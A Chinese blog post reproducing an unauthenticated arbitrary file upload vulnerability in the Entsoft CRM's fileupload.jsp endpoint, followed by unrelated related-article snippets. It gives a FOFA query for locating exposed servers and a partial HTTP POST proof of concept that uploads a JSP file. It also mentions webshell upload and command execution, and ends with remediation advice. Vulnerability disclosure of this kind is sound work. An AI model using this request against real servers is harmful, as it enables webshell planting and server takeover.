浙大恩特客户资源管理系统任意文件上传漏洞复现
0x01 产品简介
浙大恩特客户资源管理系统是一款针对企业客户资源管理的软件产品。该系统旨在帮助企业高效地管理和利用客户资源，提升销售和市场营销的效果。
0x02 漏洞概述
浙大恩特客户资源管理系统中fileupload.jsp接口处存在文件上传漏洞，未经身份认证的攻击者可以上传任意后门文件，最终可导致服务器失陷。
0x03 复现环境
FOFA：app="浙大恩特客户资源管理系统"
0x04 漏洞复现
PoC
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=1.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Content-Type: application/x-www-form-urlencoded
Connection: close
Accept-Encoding: gzip, deflate123
回显了上传路径
验证
上传马子
命令执行
0x05 修复建议
关闭互联网暴露面或设置接口访问权限
升级至安全版本
相关文章：
浙大恩特客户资源管理系统任意文件上传漏洞复现
0x01 产品简介 浙大恩特客户资源管理系统是一款针对企业客户资源管理的软件产品。该系统旨在帮助企业高效地管理和利用客户资源，提升销售和市场营销的效果。 0x02 漏洞概述 浙大恩特客户资源管理系统中fileupload.jsp接口处存在文件上传漏洞，未经身份认…...
史上第一款AOSP开发的IDE （支持Java/Kotlin/C++/Jni/Native/Shell/Python）
ASFP Study 史上第一款AOSP开发的IDE （支持Java/Kotlin/C/Jni/Native/Shell/Python） 类似于Android Studio，可用于开发Android系统源码。 Android studio for platform，简称asfp(爱上富婆)。 背景&下载&使用 背景 由…...
GCC + Vscode 搭建 nRF52xxx 开发环境
在 Windows 下使用 GCC Vscode 搭建 nRF52xxx 开发环境 ...... by 矜辰所致前言 最近有遇到项目需求，需要使用到 Nordic 的 nRF52xxx 芯片，还记得当初刚开始写博文的时候的写的 nRF52832 学习笔记，现在看当时笔记毫无逻辑可言，…...
Linux应用开发基础知识——Framebuffer 应用编程（四）
前言： 在 Linux 系统中通过 Framebuffer 驱动程序来控制 LCD。Frame 是帧的意 思，buffer 是缓冲的意思，这意味着 Framebuffer 就是一块内存，里面保存着 一帧图像。Framebuffer 中保存着一帧图像的每一个像素颜色值，假设…...
智安网络|数据库入门秘籍：通俗易懂，轻松掌握与实践
在现代信息化时代，数据库已成为我们日常生活和工作中不可或缺的一部分。然而，对于非专业人士来说，数据库这个概念可能很抽象，难以理解。 一、什么是数据库？ 简单来说，数据库是一个存储和管理数据的系统。它…...
EXCEL中安装多个vsto插件，插件之间互相影响功能，怎么解决
在 Excel 中安装多个 VSTO 插件，并且这些插件之间存在互相影响的情况下，可以采取以下措施来解决问题： 1. **隔离插件功能：** - 确保每个 VSTO 插件都有清晰的功能和责任范围，避免不同插件之间的功能重叠。这可以通…...
Java枚举
枚举类 概念 Java中的枚举（Enumeration）是一种特殊的数据类型，它是一种包含固定常量的类型。枚举是一种更加类型安全和更易维护的方式来定义常量，它包含了一组命名的值。 enum Weekday {MONDAY, TUESDAY, WEDNESDAY, THURSDAY,…...
基于MATLAB的关节型六轴机械臂轨迹规划仿真
笛卡尔空间下的轨迹规划，分为直线轨迹规划和圆弧轨迹规划，本文为笛卡尔空间下圆弧插值法的matlab仿真分析 目录 1 实验目的 2 实验内容 2.1标准D-H参数法 2.2实验中使用的Matlab函数 3 全部代码 4 仿真结果 1 实验目的 基于机器人学理论知识&…...
双11狂欢最后一天
大家好，本年度双11即将到来，为了答谢大家多年来的支持及更广泛的推广VBA的应用，“VBA语言専功”在此期间推出巨大优惠：此期间打包购买VBA技术资料实行半价优惠。 1：面向对象：学员及非学员 2：打…...
YOLOX: Exceeding YOLO Series in 2021（2021.8）
文章目录 AbstractIntroduction介绍前人的工作提出问题解决 YOLOXYOLOX-DarkNet53Implementation detailsYOLOv3 baselineDecoupled headStrong data augmentationAnchor-freeMulti positivesSimOTAEnd-to-end YOLOOther BackbonesModified CSPNet in YOLOv5Tiny and Nano dete…...
HBuilderX 运行Android App项目至雷电模拟器
一、下载安装HBuilderX HBuildeX官网 安装最新的正式版，或者点击历史版本查看更多版本；【ps：Alpha版本为开发版，功能更多，但是也不稳定，属于测试版本】 直接将压缩包解压，运行HBuildeX即可。 二…...
Java进阶（JVM调优）——阿里云的Arthas的使用 安装和使用 死锁查找案例，重新加载案例，慢调用分析
前言 JVM作为Java进阶的知识，是需要Java程序员不断深度和理解的。 本篇博客介绍JVM调优的工具阿里云的Arthas的使用，安装和使用，命令的使用案例；死锁查询的案例；重新加载一个类信息的案例；调用慢的分析案…...
续：将基于Nasm汇编的打字小游戏，移植到DOSBox
续：将基于Nasm汇编的打字小游戏，移植到DOSBox 文章目录 续：将基于Nasm汇编的打字小游戏，移植到DOSBox前情提要细说1 编译2 程序入口3 定位段 运行体验 前情提要 上一篇：【编程实践】黑框框里的打字小游戏，但…...
外部访问K8S集群内部的kafka集群服务
不许转载 kafka 部署 把 kafka 部署到 k8s 后，我们肯定是通过 service 从 k8s 外部访问 kafaka。这里的 service 要么是 NodePort， 要么是 LoadBalancer 类型。我们使用的方式是 LoadBalancer。 我们先看下面这张图，这是 kafka 在集群中的网…...
AttributeError: module ‘tensorflow‘ has no attribute ‘contrib‘解决办法
在TensorFlow2环境下执行1.X版本的代码时报错： AttributeError: module ‘tensorflow‘ has no attribute ‘contrib‘ 当然第一时间想到的是利用 如下代码 来解决问题（大部分情况都是这样）， tf.compat.v1但是又出现以下报错 Att…...
物奇平台耳机恢复出厂设置功能实现
是否需要申请加入数字音频系统研究开发交流答疑群(课题组)？可加我微信hezkz17, 本群提供音频技术答疑服务，+群赠送语音信号处理降噪算法，蓝牙音频，DSP音频项目核心开发资料, 物奇平台耳机恢复出厂设置功能实现 一 需求 1 耳机接收到充电盒长按12S指令后触发， 2 接收到…...
RFID携手制造业升级，为锂电池生产带来前所未有的可靠性
应用背景 随着科技的发展和全球化的推进，产品的生产过程越来越复杂，且对品质的要求也越来越高。在锂电池生产领域，由于其高能量密度、长寿命和环保特性，已被广泛应用于电动汽车、储能系统等领域。然而，锂电池的安全性和…...
 三方工具使用)
【星海出品】flask (四) 三方工具使用
学习的灵魂是公社,学习的目标是人民自治.学习是非暴力革命方式的社会改革.学习是人民对抗资本剥夺的文明方式.学习失败了,就如同巴黎公社失败了一样.但是它为今后进行成功的社会改革指明了正确的方向.学习的逻辑并不复杂,一句话,必须让知识数量与知识价值基本吻合.管理学习也不…...
MongoDB 索引
类似关系型数据库，mongodb也建立自己的一套索引机制和查询优化方法。本文简单介绍mongodb的索引。后续文章讲详细介绍索引的操作，监控和查询优化方法等。 索引 索引，是一组按照特殊结构排列的，方便检索的数据。索引中保存了集合…...
[Hive] INSERT OVERWRITE DIRECTORY要注意的问题
在使用Hive的INSERT OVERWRITE语句时，需要注意以下问题： 数据覆盖：INSERT OVERWRITE语句会覆盖目标目录中的数据。因此，在执行该语句之前，请确保目标目录为空或者你希望覆盖的数据已经不再需要。数据格式：…...
QMC5883L的驱动
简介 本篇文章的代码已经上传到了github上面，开源代码 作为一个电子罗盘模块，我们可以通过I2C从中获取偏航角yaw，相对于六轴陀螺仪的yaw，qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...
Qwen3-Embedding-0.6B深度解析：多语言语义检索的轻量级利器
第一章 引言：语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域，文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量，支撑着搜索引擎、推荐系统、…...
使用van-uploader 的UI组件，结合vue2如何实现图片上传组件的封装
以下是基于 vant-ui（适配 Vue2 版本 ）实现截图中照片上传预览、删除功能，并封装成可复用组件的完整代码，包含样式和逻辑实现，可直接在 Vue2 项目中使用： 1. 封装的图片上传组件 ImageUploader.vue <te…...
Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了，报错如下四、启动不了，解决如下 总结 问题原因 在应用中可以看到chrome，但是打不开(说明：原来的ubuntu系统出问题了，这个是备用的硬盘&a…...
关于 WASM：1. WASM 基础原理
一、WASM 简介 1.1 WebAssembly 是什么？ WebAssembly（WASM） 是一种能在现代浏览器中高效运行的二进制指令格式，它不是传统的编程语言，而是一种 低级字节码格式，可由高级语言（如 C、C、Rust&am…...
是否存在路径（FIFOBB算法）
题目描述 一个具有 n 个顶点e条边的无向图，该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序，确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数，分别表示n 和 e 的值（1…...
iview框架主题色的应用
1.下载 less要使用3.0.0以下的版本 npm install less2.7.3 npm install less-loader4.0.52./src/config/theme.js文件 module.exports {yellow: {theme-color: #FDCE04},blue: {theme-color: #547CE7} }在sass中使用theme配置的颜色主题，无需引入，直接可…...
逻辑回归暴力训练预测金融欺诈
简述 「使用逻辑回归暴力预测金融欺诈，并不断增加特征维度持续测试」的做法，体现了一种逐步建模与迭代验证的实验思路，在金融欺诈检测中非常有价值，本文作为一篇回顾性记录了早年间公司给某行做反欺诈预测用到的技术和思路。百度…...
自然语言处理——文本分类
文本分类 传统机器学习方法文本表示向量空间模型 特征选择文档频率互信息信息增益（IG） 分类器设计贝叶斯理论：线性判别函数 文本分类性能评估P-R曲线ROC曲线 将文本文档或句子分类为预定义的类或类别， 有单标签多类别文本分类和多…...
何谓AI编程【02】AI编程官网以优雅草星云智控为例建设实践-完善顶部-建立各项子页-调整排版-优雅草卓伊凡
何谓AI编程【02】AI编程官网以优雅草星云智控为例建设实践-完善顶部-建立各项子页-调整排版-优雅草卓伊凡 背景 我们以建设星云智控官网来做AI编程实践，很多人以为AI已经强大到不需要程序员了，其实不是，AI更加需要程序员，普通人…...